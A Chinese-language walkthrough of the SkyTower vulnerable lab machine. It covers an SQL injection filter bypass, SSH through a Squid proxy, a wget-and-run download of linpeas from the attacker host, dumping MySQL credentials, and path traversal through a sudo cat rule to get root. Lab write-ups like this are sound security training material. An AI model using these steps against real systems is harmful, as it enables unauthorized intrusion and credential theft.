vulnhub SkyTower: 1

仙女象 2022-01-07 11:48:13 阅读数:624

vulnhub skytower

本文思路

nmap掃描端口---->萬能密碼登錄web,拿到john的ssh密碼----->通過代理連接ssh,得到john的shell---->linpeas.sh掃描發現mysql---->通過mysql得到其他用戶ssh賬戶密碼---->用sara用戶登錄並通過sudo命令提權(找到root的密碼)

具體步驟

步驟1:nmap掃描

sudo nmap -sS -A -p- 192.168.9.224

掃描到了22端口(ssh,但是狀態是filtered,不一定能連接),80端口(http),3128(squid代理,不常見,可能有大用)

步驟2:nikto和dirb掃描(沒啥大用)

用以下命令掃描,沒掃出有用的東西

nikto -host 192.168.9.224
dirb http://192.168.9.224/

步驟3:萬能密碼登錄web,得到ssh用戶名和密碼

瀏覽器訪問80端口:http://192.168.9.224/,看到一個登錄頁面

一般這種情况會想到試試默認用戶名和弱口令,以及萬能密碼。

由於這邊什麼提示都沒有,感覺萬能密碼應該比默認用戶名+弱口令靠譜

試了以下e-mail框填 123‘ or 1=1#

返回sql語法報錯,從報錯信息可見,=顯然被過濾了,但是還看不出來or有沒有被過濾

再試試 e-mail框填 123‘ or

從報錯信息可知or也被過濾了

後來我試了雙寫繞過,or的大寫繞過,都不行。

在網上查找了sql注入等號的繞過方法(sql注入常見繞過技巧 - ctrl_TT豆 - 博客園)之後,

在 e-mail框填 1'<>'2'#

其中<>錶示不等於

成功登錄 ,得到ssh用戶名john,密碼hereisjohn

步驟4: 通過代理進行ssh登錄

我先嘗試了直接ssh登錄,完全沒有反應,果然和nmap掃描結果出來之後的猜測一樣。

由於nmap還掃描出了3128端口,是個squid代理,我猜測這邊應該是需要通過代理來登錄ssh。

之前完全沒有接觸過這方面的知識,只好跟著官網上的writeup學了一下如何通過代理進行ssh連接。

看到兩種方法,一種是通過proxytunnel,另一種是通過proxychains

I Climbed the SkyTower, But No Rapunzel :( - FourFourFourFour

https://defsecurityjam.blogspot.com/2015/05/the-sky-tower-vulnerable-vm-walkthrough.html

(1)通過proxytunnel連接ssh

 先輸入以下命令,該命令錶示本地監聽222端口,通過代理服務器192.168.9.224(靶機)的3128端口去訪問192.168.9.224(靶機)的22端口

proxytunnel -p 192.168.9.224:3128 -d 127.0.0.1:22 -a 222

輸入上述命令後,命令行終端就卡在那兒了,所以要再開一個命令行終端,輸入如下命令,確認一下攻擊機上的222端口已經開放

netstat -antp tcp | grep :222

接下來就可以進行ssh連接了

ssh [email protected] -p 222

然而,連上的瞬間, 連接就斷開了……

使用-t參數强制打開一個偽終端

ssh [email protected] -p 222 -t "/bin/sh"

 

 (2)通過proxychains連接ssh

這種方法更簡單點,不過kali需要proxychains。

首先修改proxychains的配置文件

sudo vim /etc/proxychains4.conf

代理改成靶機的3128端口 

 然後通過proxychains執行ssh命令,也是需要加-t參數

proxychains ssh [email protected] -t "/bin/sh"

步驟5:通過mysql發現其他用戶賬號密碼

攻擊機起http服務

python -m SimpleHTTPServer 80

到一個john有寫權限的目錄下,比如/home/john,執行如下命令,下載並執行linpeas.sh

wget http://192.168.9.10/linpeas.sh && chmod 777 linpeas.sh && ./linpeas.sh

 執行結果中有在本地監聽的3306端口

 執行如下命令也能發現在本地監聽的3306端口,並且可以確認是mysql

netstat -ant
netstat -at

在哪裏找mysql的用戶名和密碼呢?想到登錄時報sql語法錯誤,登錄失敗,以及登錄成功的頁面叫login.php,這個文件中應該會有連接數據庫並查詢的操作。

在/var/www/目錄下找到 login.php ,幸運的是,這個文件是所有用戶可讀的

 

該文件內容中包含了mysql的用戶名和密碼(root : root)

 

登錄mysql 

mysql -u root -p

查看數據庫所有錶 

mysql> show databases;

 

進入 SkyTech 數據庫

mysql> use SkyTech;

查看數據庫所有錶

mysql> show tables;

查看login錶所有內容

mysql> select * from login;

發現了另外兩個用戶sara和william的賬號和密碼 

 

 步驟6:sudo提權

用sara用戶登錄,用戶名是sara,密碼是ihatethisjob(為啥不用william呢,因為用上一步中william的密碼登錄不上去)

proxychains ssh [email protected] -t "/bin/sh"

同樣也是找個sara有寫權限的目錄,下載並執行linpeas.sh

執行結果有如下信息,意思是sara可以通過sudo命令以root身份執行

/bin/cat /accounts/*和/bin/ls /accounts/*命令

ls好像在本靶機沒啥大用,但cat就有大用了

靶機登錄界面提示 flag.txt在/root/目錄下

sara用戶本身是無法進入/root/目錄的

 

 但借助於這個/bin/cat /accounts/*,sara可以讀取/root/flag.txt的內容

sudo cat /accounts/../root/flag.txt

 root的密碼是theskytower

ssh登錄,用戶名root,密碼theskytower,得到root權限 

 

 

版权声明:本文为[仙女象]所创,转载请带上原文链接,感谢。 https://gsmany.com/2022/01/202201071148131710.html